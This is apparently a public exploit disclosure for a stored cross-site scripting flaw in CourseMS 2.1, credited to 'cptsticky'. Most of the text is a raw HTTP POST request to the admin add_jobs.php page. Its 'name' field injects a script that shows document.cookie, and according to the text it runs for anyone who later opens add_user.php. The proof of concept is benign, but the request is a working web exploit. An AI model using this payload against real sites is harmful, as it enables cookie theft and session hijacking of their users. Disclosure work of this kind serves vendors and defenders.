CourseMS 2.1 – ‘name’ Stored XSS
# Exploit Title: CourseMS 2.1 - 'name' Stored XSS # Date: 03/30/2021 # Exploit Author: cptsticky # Vendor Homepage: http://sourceforge.net/projects/coursems # Software Link: https://sourceforge.net/projects/coursems/files/latest/download # Version: 2.1 # Tested on: Ubuntu 20.04 POST /coursems/admin/add_jobs.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 91 Origin: http://localhost Connection: close Referer: http://localhost/coursems/admin/add_jobs.php Cookie: PHPSESSID=9c5cgusplbmb09g86sfapoiie4; __utma=2772400.1964691305.1617119061.1617119061.1617119061.1; __utmb=2772400.87.10.1617119061; __utmc=2772400; __utmz=2772400.1617119061.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) Upgrade-Insecure-Requests: 1 name=dirkgently%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&add_jobs=Add+Job+Title Anyone who visits the http://localhost/coursems/add_user.php will prompt execution of the stored XSS |